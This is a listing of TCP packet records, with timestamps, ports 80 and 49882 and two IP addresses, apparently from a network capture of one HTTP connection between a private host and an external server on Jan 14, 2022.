Jan 14, 2022 20:29:58.884741068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884772062 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884777069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884814978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884823084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884845972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884879112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884896040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884896994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884928942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884943008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884949923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884988070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884989023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885011911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885046005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885059118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885075092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885107040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885123968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885137081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885165930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885180950 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885181904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885210037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885235071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885245085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885262012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885291100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885296106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885319948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885335922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885348082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885361910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885381937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885387897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885399103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885435104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885437012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885458946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885492086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885494947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885513067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885540962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885546923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885596037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885629892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885816097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.885865927 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.885947943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.886193037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.886245966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.886265993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.886491060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.886543036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.886568069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.886652946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.886706114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.886951923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.887140036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.887197018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.887423038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.887522936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.887576103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.887598038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.887839079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.887892962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.887919903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.888181925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.888237953 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.888313055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.888508081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.888572931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.888653040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.888858080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.888909101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.888950109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889244080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889293909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.889498949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889652967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889697075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.889740944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889758110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889774084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889803886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.889805079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889822960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889861107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.889875889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889925003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.889935017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889951944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889983892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.889997959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.890002012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.890034914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.890048027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.890068054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.890098095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.890111923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.890115976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.890157938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.943775892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.943869114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.943948030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.943950891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.943988085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944045067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944046021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944082975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944133043 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944153070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944221020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944267988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944318056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944359064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944400072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944407940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944456100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944494963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944502115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944534063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944574118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944586039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944611073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944649935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944664001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944688082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944726944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944736958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944788933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944832087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944869041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944875956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944907904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944946051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.944955111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.944987059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945000887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945027113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945065022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945116043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945157051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945183039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945195913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945209026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945247889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945286989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945286989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945343971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945384979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945400953 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945421934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945461035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945466042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945502043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945522070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945545912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945599079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945638895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945667982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945677042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945703030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945717096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945758104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945794106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945808887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.945863962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.945961952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946003914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946041107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946058035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946080923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946120977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946127892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946160078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946199894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946213007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946259975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946300983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946316957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946338892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946378946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946388006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946418047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946456909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946466923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946499109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946537018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946548939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946577072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946630955 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946635962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946676016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946713924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946728945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946753025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946791887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946806908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946831942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946871996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946878910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946908951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946949959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.946959019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.946989059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947041035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947050095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.947101116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947146893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947154999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.947186947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947225094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947238922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.947264910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947304010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947318077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.947343111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.947392941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.948049068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948115110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948153973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948168039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.948203087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948242903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948257923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.948280096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948319912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948334932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.948359966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948396921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948410988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.948436022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948474884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948487997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.948512077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948553085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948560953 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.948591948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948632002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.948688984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.005755901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.005930901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.005974054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006019115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006056070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006083012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006095886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006136894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006151915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006177902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006217957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006226063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006258011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006295919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006341934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006350040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006392002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006484032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006524086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006561041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006580114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006607056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006656885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006659985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006721973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006759882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006793976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006887913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006930113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.006967068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.006975889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007044077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007055998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007142067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007191896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007199049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007236004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007287025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007344961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007386923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007427931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007441998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007466078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007504940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007517099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007544041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007581949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007592916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007621050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007664919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007677078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007728100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007766962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007781982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007806063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007846117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007853985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007888079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007929087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.007935047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.007966042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008006096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008017063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008044958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008083105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008094072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008122921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008181095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008192062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008230925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008268118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008289099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008306980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008344889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008356094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008384943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008425951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008444071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008466959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008513927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008517981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008554935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008600950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008611917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008662939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008702993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008713961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008742094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008779049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008793116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008819103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008857012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008867979 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008896112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008936882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.008943081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.008972883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.009011984 CET	80	49882	81.163.30.181	192.168.2.4
